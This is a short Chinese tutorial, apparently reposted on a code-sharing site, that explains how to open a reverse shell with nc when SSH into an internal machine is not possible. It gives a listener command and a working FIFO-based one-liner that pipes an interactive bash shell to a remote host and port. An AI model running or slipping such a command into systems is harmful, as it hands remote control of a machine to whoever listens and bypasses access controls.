使用nc進行shell反向連接


內網機器無法使用ssh登錄時,可以使用shell反向連接(shell反彈)達到登錄的目的。

實現方式之一就是利用nc命令

服務端

# nc -l 6000

客戶端

1.使用nc 連接到服務端

nc host 6000

2.將服務端發送的命令作為shell的輸入

3.將shell的輸出作為nc的輸入

步驟2和3好像循環了,可以使用FIFO解決

nc->FIFO->shell->nc

#mkfifo /tmp/fifo
#cat /tmp/fifo | bash -i 2>&1 | nc host 6000 > /tmp/fifo


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM